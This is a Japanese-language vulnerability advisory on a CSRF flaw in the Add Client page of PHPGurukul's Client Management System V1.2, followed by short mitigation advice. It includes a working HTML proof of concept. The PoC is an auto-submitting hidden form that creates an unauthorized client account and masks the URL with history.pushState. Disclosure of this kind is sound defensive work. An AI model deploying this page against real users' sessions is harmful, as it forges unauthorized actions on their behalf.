
PHPベースの顧客管理システムにおけるCSRF脆弱性を実証する概念実証コードであり、HTMLエクスプロイトコードとWebアプリケーションセキュリティテスト用の緩和策を含みます。
プロジェクト名 & リポジトリURL : https://phpgurukul.com/client-management-system-using-php-mysql/
脆弱性名 : クロスサイトリクエストフォージェリ(CSRF)
影響を受けるバージョン : V1.2
PHPGurukul が開発した Client Management System の Add Client 機能には、クロスサイトリクエストフォージェリ(CSRF)脆弱性が存在します。CSRF は、認証済みユーザーを騙して悪意のあるリクエストを Web アプリケーションに送信させる攻撃です。これにより、ユーザーに代わって承認されていない操作が実行される可能性があります。このレポートでは、CSRF を使用して Client Management System に偽のユーザーを作成する方法を実証し、緩和策を提案します。
提供された認証情報を使用して、Client Management System にログインします。



以下は CSRF 攻撃の HTML PoC です:
<html>
<body>
<form action="http://localhost/clientms/admin/add-client.php" method="POST">
<input type="hidden" name="accounttype" value="Active Account" />
<input type="hidden" name="cname" value="moulimurugan" />
<input type="hidden" name="comname" value="kppr" />
<input type="hidden" name="address" value="vijayamangalam" />
<input type="hidden" name="city" value="erode" />
<input type="hidden" name="state" value="tamil" />
<input type="hidden" name="zcode" value="638026" />
<input type="hidden" name="wphnumber" value="968560710" />
<input type="hidden" name="cellphnumber" value="6931052465" />
<input type="hidden" name="ophnumber" value="9638560410" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="moulimurugan" />
<input type="hidden" name="websiteadd" value="clientmsdb" />
<input type="hidden" name="notes" value="Nil" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>



CSRF 攻撃を防ぐには、次の対策を実施してください:
SameSite=Strict または SameSite=Lax 属性を設定します。POST を使用し、副作用のある GET リクエストの処理を避けます。このレポートでは、Client Management System において CSRF 脆弱性を悪用して不正なクライアントを作成する方法を実証しました。提案された緩和策を実装することで、このような攻撃からアプリケーションを保護できます。